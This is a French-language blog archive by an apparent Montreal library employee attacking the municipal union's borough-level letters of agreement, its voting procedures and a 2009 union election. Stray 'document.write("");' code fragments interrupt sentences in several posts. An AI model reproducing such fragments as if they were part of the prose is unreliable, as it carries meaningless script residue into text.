Les lettres d’entente en question

Ces derniers temps on parle beaucoup de ces fameuses lettres d’entente et je suis sûr que beaucoup d’entre-vous, document.write(“”); lecteurs et collègues des bibliothèques de Montréal, se demandent ce qu’elles sont vraiment et qu’ont-elles de si terrible?
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Lorsque le Syndicat des Fonctionnaires Municipaux de Montréal (SFMM) signe une convention collective avec la ville de Montréal (la dernière en date a été signé en décembre 2007 et couvre la période de janvier 2007 à décembre 2010), il y a toujours des dispositions qui sont spécifiques à certains groupes d’employés qui ne peuvent y être incluses et ces dispositions spécifiques sont négociées séparément avec des lettres d’entente.

L’entente qui régit les dispositions spécifiques des employés de bibliothèques est l’entente EV 96-94 [texte], “relative aux étapes d’assignation des employés auxiliaires, emplois spécialisés “bibliothèque” au service de la culture.” Elle déterminait, entre autres, le fonctionnement de la banque réseau, les ports d’attache, l’embauche et le comblement des postes en fonction de l’anciennneté.

Cette entente a malheureusement été rendu caduque suite à la fusion/défusion qui a divisée la ville en arrondissements, la Charte de la ville donnant maintenant aux dits arrondissements le pouvoir d’embauche et de négociation des horaires de travail. Le SFMM a donc cru bon (?) d’inclure dans la convention collective 2007-2010 l’entente E.V. 2007-1007 (pp. 305-306) qui stipule que “l’entente EV-96-94 doit demeurer en vigueur jusqu’à son remplacement” et que, comme “le Syndicat tient à maintenir les principes en regard de la banque réseau inclus dans l’entente EV-96-94 (…), les parties conviennent d’entamer des négociations locales conjointes avec les arrondissements” du Sud-Ouest, Ville-Marie et VSMPE. Il s’agit ici des fameuses lettres d’entente.

Jusqu’à maintenant des lettres d’entente ont été signé avec cinq six arrondissements:

Les négociations sont en cours, ou même complétées, dans les autres arrondissements (Rivières-des-Prairies/Pointe-aux-Trembles [RDP/PAT], Plateau-Mont-Royal [PMR], Ahuntsic-Cartierville [AH-CA] et Cote-des-Neiges/Notre-Dame-de-Grâce [CDN/NDG]) et il ne reste qu’à les faire entériner en assemblées sectorielles par le vote des membres du SFMM de chacun de ces arrondissements. Le vote pour Rivières-des-Prairies/Pointe-aux-Trembles aura lieu le lundi 19 avril à 9h30. Le prochain vote se fera dans Ahuntsic-Cartierville le lundi 3 mai à 9:00…

Maintenant, qu’est-ce qu’il y a dans ces ententes qui les rendent si inacceptables? A première vue pas grand chose mais, dès qu’on y applique la moindre analyse, on se rend compte de la monstruosité qu’elles représentent.

Premièrement, la façon dont ces lettres d’entente ont été négocié et entériné est une injure à la démocratie (parce que donner une apparence de démocratie est pire que de ne pas en avoir du tout):

  1. elles ont été négocié en catimini sans aucune consultation avec les membres du SFMM; 
  2. elles sont votées par arrondissement alors que nous sommes tous concerné et affecté par chacunes de ces ententes (par exemple: si quelqu’un travaille dans MHM mais que ce n’est pas son port d’attache, il n’avait pas le droit de voter sur l’entente de MHM, qui pourtant affecte ses conditions de travail); 
  3. elles sont votées sans que les membres aient pu en consulter le texte d’avance et en débattre.

Deuxièmement, elles incarnent l’aplatventrisme de l’équipe syndicale en place (les AccèsCible) face aux demandes du patronat.

D’une part, elles représentent l’abandon pure et simple du principe de mobilité-ville que l’on retrouvait dans la banque réseau, capitulant ainsi devant le pouvoir fragmenteur des arrondissements. Pourtant, dans l’entente E.V. 2007-1007, le syndicat avait clairement énoncé sa volonté de “maintenir les principes en regard de la banque réseau.” Et, il y a à peine trois semaines, la présidente du SFMM nous affirmait en assemblée générale qu’elle avait exprimé au DG de la ville le besoin de faire modifier la charte de la ville afin de redonner à la ville-centre les pouvoirs de conciliation et de coordination nécessaires pour appliquer avec succès les horaires flexibles et règler tout les problèmes liés à l’embauche—et que ce serait un enjeu majeur des prochaines négos! Cela semble d’une hypocrisie à faire vomir: ils disent cela et pourtant s’empressent de négocier avec les arrondissements des lettres d’entente qui, dans les faits, font exactement l’inverse!

D’autre part, les lettres d’entente abdiquent sans façon plusieurs droits acquis, ce qui entraine l’érosion inéluctable de nos conditions de travail:

  • la priorité est donné à la disponibilité, plutôt qu’à l’ancienneté, pour l’attribution des remplacements
  • les auxiliaires détenteurs de bloc égal ou supérieur à vingt-et-une heure/semaine se retrouvent cloisonné dans leur arrondissement port d’attache et ne peuvent postuler sur des blocs ailleurs
  • de nouvelles mesures punitives sont introduites (par exemple: on est retiré de la liste de disponibilité après trois refus (MHM: deux) ou si la disponibilité n’est pas respectée; le pire est dans l’entente de MHM: période d’essai de 840 heures ou 2 ans durant laquelle l’auxiliaire peut être congédié sans possibilité de grief ou d’arbitrage, si l’auxiliaire n’est pas rejoint après deux essais par téléphone [et ils nous disent de fermer nos cellulaires en bibliothèques!] il est considéré avoir refusé l’offre de bloc—qui n’est faite qu’une fois par année seulement, etc.)
  • les congés d’étude sont attribués uniquement pour des études liées au travail en bibliothèques
  • abandon de certains griefs…

Personnellement, je ne veux pas d’une lettre d’entente qui ouvre la porte à l’érosion de mes conditions de travail. Je considère que le travail du syndicat est de maintenir les-dites conditions comme elle sont et, tant que possible, de les améliorer. Quand je vois ce que l’équipe Accès-Cible a fait avec ces lettres d’entente, considérant que près de 2% de mon salaire hebdomadaire leur est payé pour justement faire ce travail, alors je me sens abandonné et trahis—purement et simplement. Aucune autre de ces ententes ne devrait être votée et on devrait renvoyé le syndicat à la table de négociation. Au lieu de dépenser de l’énergie sur ces lettres d’entente, pourquoi ne pas mettre nos effort à faire pression sur la ville et le gouvernement afin d’établir cette entité centrale qui aurait le pouvoir de coordination comme il a été mentioné à la dernière assemblée générale? Et si l’entente a déjà été signé dans votre arrondissement et que vous en subissez les conséquences malheureuses, ne désespérez pas car une entente ce n’est jamais fixé dans le béton: on peut toujours la renégocier… Mais ne vous fiez pas seulement à mon opinion. Lisez les lettres d’entente (voir les liens plus haut) et voici quelques liens vers des publications de l’équipe du Colvert et des billets précédants qui vous permettrons sans doute d’en apprendre un peu plus sur les ententes:

Update (2010/04/19): Mes contacts m’indiquent que la lettre d’entente de Rivière-des-Prairies/Pointe-aux-Trembles a été entériné ce matin par les auxiliaires des bibliothèques de l’arrondissement à raison de quatorze voix pour et deux contre (apparemment avec un très haut taux de participation, puisqu’on m’a dit qu’il n’y aurait eut que deux absents, ce qui représente une participation de 89% !). Les auxiliaires des bibliothèques de l’arrondissement auraient veinement tenté de demander à recevoir le texte de l’entente avant l’assemblée et d’avoir du temps pour en discuter entre collèques. L’assemblée sectorielle se serait déroulée comme les précédentes: les représentant du syndicat auraient rapidement lu le texte de l’entente, répondu (vaguement) à quelques questions et finalement auraient demandé le vote secret. Le texte de l’entente est également similaire aux ententes précédentes (et toujours tout aussi inacceptable).

Lettre d’entente Rivière-des-Prairies/Pointe-aux-Trembles

Le SFMM ne perd décidément pas de temps et semble sur un blitz pour faire approuver les lettres d’entente pour les arrondissements restants: une assemblée sectorielle a été convoqué pour l’arrondissement RDP-PAT. Elle aura lieu le lundi 19 avril à 9h30.
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Il n’y a pas que le gouvernement qui mérite de se faire passer au savon. Si vous ne voulez pas que vos conditions de travail disparaissent dans la crasse je suggère à tous (des bibliothèques de RDP-PAT et d’ailleurs) d’agir au plus tôt. Voilà ce que je suggère:

Pour être efficace il faut se mouiller. Appliquez le shampooings [ou lisez ce billet], document.write(“”); frottez fort pour faire mousser [parlez à vos collègues des lettres d’entente, discuttez-en les advantages et désavantages, allez à l’assemblée sectorielle, posez des questions et votez selon votre conscience], rincez et répétez au besoin [pour l’arrondissement suivant sur la liste et tant qu’on aura pas remit en question au moins une de ces ignobles lettres d’entente] !

Malheureusement, dans ce cas-ci, il n’y a pas de shampooings sans larmes…

Restez alerte, d’autres messages suivront…

Update (2010/04/19):
Lisez également ce billet. La mise à jour contient les résultats du vote pour la lettre d’entente de Rivière-des-Prairies/Pointe-aux-Trembles

La démocratie ça s’exerce à plusieurs…

…et décider pour les autres c’est de la dictature!
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Il est risible que j’apprenne plus de choses sur mes conditions de travail et sur mon syndicat par les blogs et communiqués du Colvert que par mon propre syndicat!

Lettre d’entente pour Rosemont–La Petite-Patrie

Jeudi dernier (3/25) j’ai appris qu’une assemblée sectorielle était convoquée pour tous les aide-bibliothécaires et bibliotechniciens auxiliaires de l’arrondissement Rosemont–La Petite-Patrie afin de voter sur une nouvelle lettre d’entente pour remplacer l’entente E.V. 96-94 régissant nos conditions de travail (octroi des heures de travail et autres dispositions). L’avis de convocation date du lundi 22 mars et le vote se tiendra mercredi le 31 mars, document.write(“”); ce qui fait un préavis de 9 jours seulement. Ici je ne veux pas m’attarder sur les raisons qui font que les nouvelles lettres d’entente sont mauvaises pour nos conditions de travail (pour ça voir le project de lettre d’entente pour Ville-Marie et l’analyse qu’en a faite l’équipe du Colvert) mais c’est plutôt la façon de procéder pour les faire voter qui m’outrage.

Ces nouvelles lettres d’ententes, toutes similaires, ont déjà été entériné dans quatre arrondissements (Sud-Ouest, Ville-Marie, Villeray-Parc-Extension-St-Michel et Mercier-Hochelaga-Maisonneuve). Le processus est le suivant: les auxiliaires d’un arrondissement sont convoqués à une assemblée sectorielle sans qu’auparavant rien n’ait transpiré des négociations; l’exécutif leur présente verbalement les grandes lignes de l’entente, puis on leur demande de voter sur la lettre d’entente. Comme dans toutes les réunions de notre syndicat le taux de participation est très bas. J’ai entendu dire (mais non confirmé par de multiples sources) que la lettre de MHM avait été voté par moins d’une douzaine de personnes!

Imaginez si un parti souverainiste était au pouvoir et qu’il conviait le peuple à ce prononcer sur l’indépendance du Québec avec seulement une semaine de préavis. Les différentes factions n’ont pas le temps d’argumenter les pour et les contre de leur positions respectives et le taux de participation au vote est de moins de 10%! De plus, la formulation précise de la question référendaire n’est connu qu’au moment du vote! L’outrage serait indescriptible…

Je crois que les gens ont le droit de savoir dans quoi ils s’embarquent quand ils viennent voter. L’exécutif syndicale croit sûrement bien faire en procédant ainsi, histoire de sauver du temps en n’expliquant pas tout d’avance dans les détails. Après tout c’est compliqué toutes ces négociations et on n’y comprendrait pas grand chose. Eux ils savent ce qui est bien pour nous. Ils croient avoir négocier la meilleure entente possible et veulent qu’on leur fasse confiance. Je crois que cette attitude là démontre beaucoup de mépris de la part des dirigeants syndicaux envers leur membres.

Moi, qui ne connait rien (ou si peu) à la chose publique ou syndicale, je ne peux qu’exercer ma logique et mon “gros bon sens.” Si on se fie aux lettres d’ententes déjà signées, ces lettres n’augurent rien de bon pour nos conditions de travail et ne peuvent que les rendent pires qu’elles ne le sont déjà (plus de mobilité ville, surcharge de travail, etc.). Comme je l’ai déjà dit: une bonne convention ou lettre d’entente doit préserver le statu quo ou l’améliorer. Tout autre résultats est carrément inacceptable. Il faut donc empêcher ces lettres d’entente d’être votées en attendant des alternatives acceptables.

L’équipe du Colvert a déjà émit son opinion sur le sujet (“A nos Collègues…”, “Voter sur quoi” et “Qui peut voter”). Pour ma part, je dis à mes collègues de l’arrondissement Rosemont–La Petite-Patrie: Êtes-vous prêt à vous fier totalement à l’exécutif syndical qui vous demande d’accepter cette lettre d’entente sur leur seul parole? Ou ne préféreriez-vous pas avoir droit de regard sur le texte avant de voter, juste pour faire sûr? N’en serait-il pas plus démocratique ainsi? Pas besoin d’avoir la tête à Papineau pour savoir qu’il est préférable de prendre une décision en ayant connaissance de cause. On est tout de même capable de décider par nous même des mérites de la lettre d’entente avant de voter. Si je me trouvais demain dans cette situation, devoir voter une lettre d’entente pour mon arrondissement sans en avoir vu préalablement le texte, je n’aurais que deux choix: demander à voir le texte et que le vote soit reporté à une date ultérieure pour nous donner le temps d’en prendre connaissance ou, simplement voter contre l’acceptation d’une lettre d’entente dont je ne connais pas le libellé en détails. Je ne trouve d’ailleurs pas normal que seul l’exécutif et le patron soient au courant des détails d’une négociation qui me concerne directement et je trouve inacceptable qu’une assemblée syndicale et un vote se fassent sur le lieu de travail (possiblement en présence des patrons: évidemment ils ne s’objecteront pas à un processus qui les avantage grandement). Ce n’est là que mon humble opinion (un peu tardive, mais bon…).

La question ici n’est pas tant de voter pour ou contre mais d’avoir un processus démocratique véritable qui se fait en connaissance de cause et dans le dialogue. Sans discussion il n’y a pas de démocratie. Sans information il n’y a pas des discussions. Et il faut aussi que les gens participent. Les employés des bibliothèques chialent beaucoup sur leur conditions de travail (moi en premier) mais si on ne fait jamais rien pour les améliorer (assister à une assemblée, participer au vote, faire connaitre nos opinions à nos délégués, etc.) et bien on perd alors tout droit de se plaindre. Alors s.v.p., messieurs dames de Rosemont–La Petite-Patrie, allez nombreux à cette assemblée sectorielle et posez les bonnes questions.

A suivre dans mon prochain billet sur le syndicat: “Ma première assemblée générale ou pourquoi la démocratie se meurt-elle”.

Update (2010/03/31):
Mes sources me disent que les résultats (non-officiels) du vote sont arrivés: 7 pour, 4 contre. La lettre d’entente pour Rosemont–La Petite-Patrie a donc été entériné par les auxiliaires de l’arrondissement. Reste à savoir combien y a-t-il d’auxiliaires dans l’arrondissement et quel pourcentage de participation cela représente. Je trouve cela décourageant, mais bon, ici c’est ça la démocratie! (ou si c’est ça la démocratie, mieux vaut aller se prendre!)

Il est étrange que si peu de gens votent une lettre d’entente qui, dans le fonds, concerne TOUT les auxiliaires de la ville. Parce qu’avec cette lettre d’entente là, théoriquement, moi—qui n’y ai pas de port d’attache—je ne pourrai plus travaillé dans les bibliothèques de cet arrondissement… Je me sens donc plutôt concerné.

Chaque nouvelles lettres d’ententes qui est voté dans un arrondissement est un clou de plus dans le cercueil de la lettre d’entente E.V. 96-94, affaiblissant d’autant la force de cohésion qui maintient l’assemble de nos conditions de travail. On nous divise pour mieux règner! Réveillez-vous!

Update (2010/04/01):
Une dernière pensée: si vous croyez, messieurs-dames du SFMM, que les lettres d’entente que vous avez négocié sont si bonne que ça, alors pourquoi ne pas nous (tout les auxiliaires des bibliothèques de la ville) en expliquer les mérites. On n’est pas simple d’esprit, si il y a quelques choses à comprendre, on va le comprendre. Pourquoi ne pas nous avoir demandé ce qu’on voulait? Pourquoi ne pas nous tenir au courant des négos? Pourquoi ne pas nous présenter les textes quelques semaines avant le vote et permettre un débat? Pourquoi nous faire voter par arrondissement alors nous sommes tous concernés? Pourquoi avoir si peur d’un dialogue démocratique?

Update (2010/04/13):
Après vérification, il aurait a peu près vingt-cinq auxiliaires dans l’arrondissement R-PP qui étaient en ”droit“ de voter. Considérant que onze d’entre eux ont voté à l’assemblée, cela fait un pourcentage de participation de 44%. C’est pas si pire vu les circonstances… Je crois donc que notre opinion a été entendu par certains et qu’il y a eut un début de mobilisation (ce que semble craindre nos “amis” d’Accès-Cible). Je me suis laissé dire que plusieurs participants de l’assemblée voulaient débattre de la question avant de se prononcer mais que les représentants du syndicat ont coupé court à la discussion et forcé le vote (qui était secret). Malgré tout cela on a tout de même obtenu quatre votes contre, ce qui est presqu’une victoire morale. On va continuer à informer nos collègues et je suis sûr qu’on peut faire encore mieux avec le prochain vote. Hasta la victoria siempre!

Dude, mais où est donc mon syndicat?

C’est la question que je me posais cette semaine. Et je ne suis pas le seul puisque l’équipe du 109 au 429 écrivait récemment une Nouvelle Du Jour titrée “Le SFMM a-t-il survécu à l’élection d’AccèsCible ?”
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En effet, document.write(“”); l’équipe syndicale en place (bien sûr il s’agit ici du
Syndicat des Fonctionnaires Municipaux de Montréal, le SFMM ou SCFP-429) est tellement active (ici vous devez sentir le sarcasme) que nos conditions de travail ne cessent de dépérir! Bon, il faut avouer qu’ils n’en sont pas les seul responsable puisque, après tout, nous (les travailleurs) les avons réélu. Entre ceux d’entre nous qui refusent de se plaindre (et parfois font pression sur leur collèques pour qu’ils en fassent autant) car ils ont la trouille de se retrouver dans un environnement de travail toxique s’ils font trop de vagues et ceux qui sont tellement désillusionné qu’ils pensent que toute action est inutile, et bien il n’y a pas grand chose qui bouge! C’est vrai que, comme je le dis souvent, le syndicalisme est une lame à double tranchant: c’est une défense nécessaire contre l’exploitation des travailleurs mais peut parfois mener à de l’abus (demande excessive, collusion, corruption, etc.); il faut donc en user avec précaution. Toutefois, je vous mets en garde, l’inaction syndicale a un grand coût: cela créé des précédants et le patronat se convainc qu’il peut s’en permettre encore plus. Et cela mène à l’érosion graduelle et inexorable de nos conditions de travail.

Des fois je me demande si le syndicalisme n’est pas simplement une autre façon d’exploiter les travailleurs, de leur soutirer encore plus d’argent tout en les mettant en confiance et en sécurité… Car comment le syndicat peut-il avoir laissé passé des lettres d’entente comme celles qui ont récemment été signées? Comment nous, les travailleurs, avons nous laissé passer cela en votant en assemblé? C’est vrai que ces lettres d’entente, qui concernent pourtant tout le monde, ont été voté par les travailleurs de chaque arrondissement concerné seulement. Diviser pour règner. La décision n’était pourtant pas difficile: une bonne lettre d’entente ou convention collective en est une qui préserve nos conditions de travail ou les améliore. Point. Tout autre résultat est catégoriquement inacceptable… Alors pourquoi les avoir négocié? Pourquoi les avoir voté? Bon, il est vrai que les travailleurs ont voté les ententes à l’aveuglette, sans en avoir préalablement vu et lu les textes, mais pourquoi avoir accepté de telles conditions de vote?

Des fois je me demande si tout ce combat en vaut vraiment la peine. Pourquoi ne pas s’en foutre et simplement faire la petite job pépère qu’on me demande de faire? L’alternative me semble tellement affreuse: pour rétablir la situation (et nos conditions de travail — notez que j’ai rien à dire sur les conditions salariales, à part l’équité salariale qui se fait attendre) cela voudrait dire une lutte acharnée pour empécher toute nouvelle lettre d’entente d’être signée, pour (re)négocier la convention collective l’année prochaine (incluant de nouvelles lettres d’entente), pour préparer une nouvelle équipe syndicale qui aurait des chances de prendre le pouvoir dans quatre ans, ou alors simplement tout reprendre à zéro et se magasiner un autre syndicat? C’est beaucoup de travail… et peu de gratifications. Mais après ça il faudrait vivre avec des conditions de travail insatisfaisantes et une conscience troublée…

Dude, où est donc mon syndicat quand j’en ai de besoin?

Développements dans l’affaire Frotey

Le site du “109 au 429” nous fait part de développements dans l’affaire Frotey (voir billet “Les Bibliothèques en Déclin?”): la suspension de Mr. Frotey a été réduite de trois à un jour. C’est un résultat très décevant (et qui comporte des conditions) puisque selon moi il n’aurait dû faire l’objet d’aucune sanction, document.write(“”); mais (compte tenu des résultats auxquels notre bon syndicat nous a récemment habitué) c’est encore beau que la durée de la suspension n’ait pas été augmenté!
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Dans la même ligne d’idée, l’équipe du Colvert a récemment émit un nouveau bulletin (
“Le Canardo Pressé”: Année 5, Numéro 1: Le Naufrage), daté du 15 janvier 2110 (sic), où ils déploraient le fait que les lettres d’ententes particulières avec certains arrondissements ont causé la fin—cette fois définitive—de la banque réseau en la rendant totalement ingérable.

Cette situation est loin d’être drôle. J’ai moi-même été témoin, bien malgré moi, du désordre et de la confusion que cette aberration provoque. J’ai été engagé à l’automne 2008 par l’arrondissement “A”, qui ne m’a pas donné de bloc d’heures avant l’été 2009, mais heureusement (grâce à la banque réseau) j’ai rapidement obtenu un bloc dans une bibliothèque de l’arrondissement “B” dès janvier 2009. Cet automne, comme je n’avait qu’un bloc dans l’arrondissement “C” (et plus aucun dans le “A”, considéré comme mon port d’attache) M. Roussel—qui gérait alors la banque réseau—proposa de changer mon port d’attache pour “C”. Vous me suivez? Après discussions entre les responsables des bibliothèques de “C” et “B”, il fut conclu que, comme mon premier bloc avait été attribué par “B,” mon port d’attache devrait donc y être. Tel fut fait et cela me permis de reprendre un bloc à “B”. Malheureusement, un employé de “B” (qui avait perdu son bloc à cause de mon retour) contesta l’attribution de mon port d’attache et de mon bloc dans “B.” Les différentes lettres d’ententes rendant la situation nébuleuse, plus personne ne savait vraiment ce qui en était, ce qui était la bonne procédure, ni même où était le haut et le bas. Après moult discussions, enquêtes et inquisitions (et beaucoup de stress de ma part), il fut décidé que le bon choix était en effet le “B”… Ne riez pas trop car cela pourrait bien vous arrivez aussi. C’est ce genre de situation, rendu bien compliqué par les lettres d’ententes, qui a sans doute convaincu M. Roussel de l’impossibilité de son travail à la banque réseau.

Toutefois cela a d’autres répercussion encore plus troublantes. Dorénavant les employés sont engagé uniquement par arrondissment ce qui rend la mobilité d’emploi à l’intérieure de la ville difficile sinon impossible. Le fonctionnement de ces nouvelles banques d’arrondissement n’est pas encore très clair. Y aura-t-il des listes d’éligibilité à l’emploi d’établie et, si oui, selon quels critères: l’ancienneté-ville? l’ancienneté-arrondissement? le nombre d’heures accumulées? Les nouveaux employés des bibliothèques, s’ils ne veulent pas être enfermé dans un seul arrondissement et s’ils veulent augmenter leur chances de faire un maximum d’heures, devront donc appliquer dans chaque arrondissement et soumettre leur disponibilité à chacune des banques d’arrondissement. Malheureusement, à ce jour, il n’existe aucune liste des responsables de ces banques d’arrondissement. Les nouveaux employés doivent donc se fier au bouche à oreille et obtenir l’information où contacter ces responsables de leur collègues plus anciens. Lorsqu’une telle liste sera établi, elle devra également être aisément disponible à tous (ici il est bon de rappeller que, dans certaines bibliothèques, l’intranet est rendu difficile sinon impossible à consulter par les employés qui n’ont pas de poste informatique désigné—la liste devra donc être ailleurs).

Il est impératif que la ville, le syndicat et les arrondissements se mettent à table pour s’assurer que l’imbroglio que cause ces lettres d’ententes soit clarifié au plus tôt. Car, pour l’instant, c’est franchement invivable. Et nous n’avons que le syndicat à blamer pour cette situation…

Finalement, le 19 janvier dernier, l’équipe du Colvert nous faisait parvenir un autre bulletin (“Le Canard Boiteux”: Année 3, #1: L’intelligence arrive) qui se moquait, par l’entremise d’une bande-dessinée, du projet d’automatisation à la bibliothèque Côte-des-Neiges qui devrait inclure une “chute intelligente.” J’ai moi-même porté attention sur cette bande-dessinée (dans le billet “This week in the press (2009-12-15)”) de la série Unshelved (voir aussi le billet “Unshelved”). Pour bien rigoler, il faut également lire les bandes subséquentes (particulièrement celles du 2009/10/20 et 2009/10/21).

“Délit d’opinion”

Le site du groupe Du 109 au 429 donne les dernières nouvelles au sujet de l’article d’opinion qu’un aide-bibliothécaire avait fait paraître dans La Presse.
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Je m’abstiendrai de tout commentaire…

(et ne comptez pas sur moi non plus pour faire des commentaires sur Facebook 😉 )

Les bibliothèques en déclin?

Comme je lis rarement La Presse papier (je parcours rapidement la Cyberpresse et je suis suis abonné à The Gazette car il y a beaucoup plus de “funnies”), document.write(“”); j’ai manqué un intéressant article d’opinion dans la section Forums de La Presse du 2009/11/10. Heureusement, l’équipage du Colvert (i.e. “Le Canard Boiteux”) nous l’a fait découvrir dans une récente édition (distribuée par courriel). Cet article d’opinion n’a malheureusement pas été repris par Cyberpresse, l’édition électronique de La Presse, alors je vous en fournis le scan en format PDF qui accompagnait la note du Colvert (désolé pour la qualité du scan).
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L’article est écrit par Laurent Frotey, un aide-bibliothécaire à la Bibliothèque Interculturelle de Côte-des-Neiges. Il constate que “les achats de DVD s’accélèrent au détriment des livres“ et se dit “inquiet des achats faits dans le réseau des bibliothèques de Montréal et y voit un appauvrissement culturel flagrant.” Il poursuit en disant qu’il a “le désagréable sentiment de n’être plus qu’un employé de Blockbuster et de ne plus servir à l’enrichissement culturel de la population.” C’est une opinion qui m’apparait partagée par beaucoup d’aide-bibliothécaires. J’ai moi aussi souvent l’impression d’être un employé de club vidéo et souhaiterais que les bibliothèques achètent moins de films à caractère divertissant et plus de documentaires et de films de répertoire ou d’auteur. Ainsi, les DVDs joueraient au moins un rôle d’enrichissement culturel. Mais cet accroissement de l’aquisition de DVDs n’est pas nécessairement une mauvaise chose.

Cela nous ramène au vieux débat sur le rôle des bibliothèques (sur lequel je n’ai pas l’intention de m’étendre pour l’instant). Chose amusante, le lendemain (2009/11/11) La Presse faisait suite avec un article qui, somme toute, donnait la réplique de la direction des Bibliothèques de Montréal et des responsables de l’arrondissement. On y jure que la politique des bibliothèques n’a pas changé et que le réseau ne s’éloigne pas de son mandat, ni de son objectif de trois livres par habitant.

Personnellement, je crois qu’il s’agit simplement d’une question d’argent. D’une part, pour justifier leur budget et leurs subventions, les bibliothèques veulent accroitre leur fréquentation en usant de démagogie (par opposition à une politique éducatrice qui viserait à offrir aux usagers des documents qu’ils ne connaissent pas et ainsi accroitre leur horizon culturel) et ainsi donnent aux usagers ce qu’ils désirent: des DVDs? et pourquoi pas des jeux videos tant qu’à y être? D’autre part, dans une économie difficile, les gens préfèrent ne pas payer pour la location de DVDs et plutôt les obtenir gratuitement à la bibliothèque. Cela fonctionne bien puisque selon un sondage plus de 80 % des Québécois se disent satisfaits de leurs bibliothèques.

Cela n’empèche pas que nos bibliothèques soient tout de même menacée d’un grave déclin. La conjoncture d’une économie en difficulté crée des pressions en faveur de coupures dans la culture. Et, dans le cas particulier de Montréal, l’éclatement de la ville en plusieurs arrondissements administratifs génère une sur-bureaucratie qui est couteuse en ressources et en argent. De plus, la situation des bibliothèques est envenimée par le fait que les employés sont stressé par la dégradation de leur conditions de travail (particulièrement par l’accroissement de la charge) et le fait qu’ils sont très mal servis par leur syndicat. La preuve nous en a encore une fois été faites par l’équipe du Colvert qui nous faisait parvenir l’édifiente lettre d’entente entre l’arrondissement de Ville-Marie et ses employés et nous en faisait l’analyse des conséquences (Conf(l)it de Canard #4). (Sur ce sujet vous pouvez également consulter le billet “Un peu de sang neuf?”)

[Updated 2009/11/16]

Update (2009-11-25): voir billet “Délit d’opinion

Update (2009-11-27): voir billet “Intéressant commentaire sur le cas Frotey

Update (2009-11-28): voir billet “Un autre commentaire sur l’affaire Frotey

Update (2009-12-16): voir aussi le billet “Commenthécaire”

Update (2010-01-27): voir aussi le billet “Développements dans l’affaire Frotey”

Plus ça change, plus c’est pareil!

Pour faire suite à mon commentaire sur la campagne électorale de l’exécutif syndical du SFMM (en passant: merci au cent-soixante personnes qui ont visité mon blog depuis), document.write(“”); voici un autre commentaire sur le résultat des dites élections:
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Malheureusement, les
résultats préliminaires que j’ai entendu hier soir semblaient annoncer un taux de participation très bas (dans les 30-40%) et une confortable victoire pour l’équipe en place, AccèsCible.

(Cliquez le lien ci-dessous pour avoir tout les détails de ce que j’en pense…)


J’ai d’abord été très surpris de ce résultat. Tout les collègues fonctionnaires à qui j’ai parlé au travail ces dernières semaines (tous sans exception!) me disaient qu’ils étaient tanné du mauvais travail de l’équipe en place et qu’ils voulaient du changement. Pas une seule personne ne m’a avoué qu’il/elle voterait pour l’équipe en place. Comment est-ce possible?

Et les chiffres eux-même sont bizarres (bon, il faudra attendre des résultats officiels, sinon définitifs pour vraiment se prononcer, mais…). Ils sembleraient y avoir d’étranges disproportions dans les résultats préliminaires des votes pour Du 109 au 429 et Pierre Gélinas (qui se présentait à la présidence de l’exécutif pour le 109) semble avoir reçu moins de votes qu’il en avait eut à l’élection précédante (où il s’était présenté seul, sans le support d’une équipe comme il l’a fait cette fois-ci avec Du 109 au 429). Comment, avec plus de visibilité et le support d’une équipe, a-t-il pu recevoir moins de vote? A prime abord, cela semble incompréhensible.

Toutefois, je crois qu’il est possible d’y voir un début d’explication sans nécessairement avoir recourt à des accusations partisannes. Ma bonne nature me fait exclure, a priori, l’usage d’actes illégaux ou inappropriés à proprement parler. J’y vois plutôt le résultat combiné de quatre facteurs:

  • l’équipe Du 109 au 429 a peut-être été un peu naïve et pas assez expérimentée en magouille syndicale. Car on le sait bien, dans ce milieu là, tout les coups sont permis. Ils ont commencé leur campagne un peu sur le tard et ont sans doute hésité à utiliser des tactiques discutables. Un bon vieux cas de “the good guys always finish last.”
  • l’équipe Du 109 au 429 avait tout les désavantages de la position de “challenger.” L’équipe AccèsCible a eut plus de dix ans pour se faire connaitre et établir des liens d’influences. Ils pouvaient aussi profiter de leur libération syndicale pour faire campagne. Ils avaient donc beaucoup plus de temps, de visibilité et de moyens. D’où les beaux pamphlets couleurs et un très grand nombre de militants pour rencontrer les travailleurs, être présent sur les lieux de vote et de comptage, et distribuer des tracts à l’entrée de bureaux de votation, etc. C’était peut-être aussi à l’avantage des AccèsCible d’être dirigé par une femme (ça parait donc tellement mieux)…
  • cette fois-ci, l’équipe AccèsCible a quand même sentis l’eau chaude et ils ont défendu leur confortables derrières (confortables pcq bien assis sur d’excessifs salaires) avec la force de détermination d’un fonctionnaire calabrais. Et pour désespérément défendre leurs moelleuses positions, ils ont eut recourt à toutes les tactiques, sinon illégales mais certainement déloyales, qui sont de bonne guerre en milieu syndical: limiter l’information électoral, tenter de discréditer l’adversaire avec de la désinformation (si le 109 au 429 est élu vous pouvez dire adieu à l’équité salariale, etc.), faire de l’obstruction (en tentant d’empêcher l’adversaire de rencontrer les travailleurs), distribuer de belles cartes de rappel couleur à l’entrée des bureaux de votation (les gens aiment donc ça les beaux dépliants couleurs vides de sens), faire sortir le vote de LEUR supporteurs à tout prix par l’utilisation de chaînes téléphoniques, en leur offrant le transport (ou “busing” — j’ai entendu dire que certain s’étaient même fait payer le taxi!), etc.
  • par les temps qui court les électeurs, quels qu’ils soient, sont par nature désillusionnés et paresseux (“Ça sert à quoi d’aller voter, c’est toute du pareil au même anyway”). Même s’ils sont déçu du travail de leur repésentant, et tout aussi convaincu qu’il faut du changement, si le jour de l’election venu il fait froid et le temps est maussade, ils perdent leur détermination et trouvent toutes sortes d’excuses pour ne pas sortir voter. Alors beaucoup trop de syndiqués ont préféré resté douillettement chez eux ou au travail plutôt que de se battre pour le changement qu’ils désiraient. Et il ne faut pas oublier le fait qu’il y avait encore des gens qui n’étaient même pas au courant qu’il y avait des élections pour l’exécutif syndical et cela grâce au mauvais travail de communication fait par le syndicat lui-même! C’était tout à l’avantage de l’équipe en place, puisque l’on sait bien qu’un taux de participation bas favorise toujours l’équipe sortante.

C’est là la situation et on ne peut rien y faire. Il faut l’accepter. Toutes mes félicitations au gagnant et à son bilan concluant d’inaction. On va continuer d’avancer… vers le précipice et à se faire fourrer tant par l’employeur que par le syndicat. C’est correcte. C’est ça la beauté de la démocratie: elle nous donne plein de merveilleux droits, dont celui de se tromper. Les Américains ont bien réélu George Bush en 2004…


David contre Goliath:
l’intelligence ne peut pas toujours l’emporter sur la force brute…
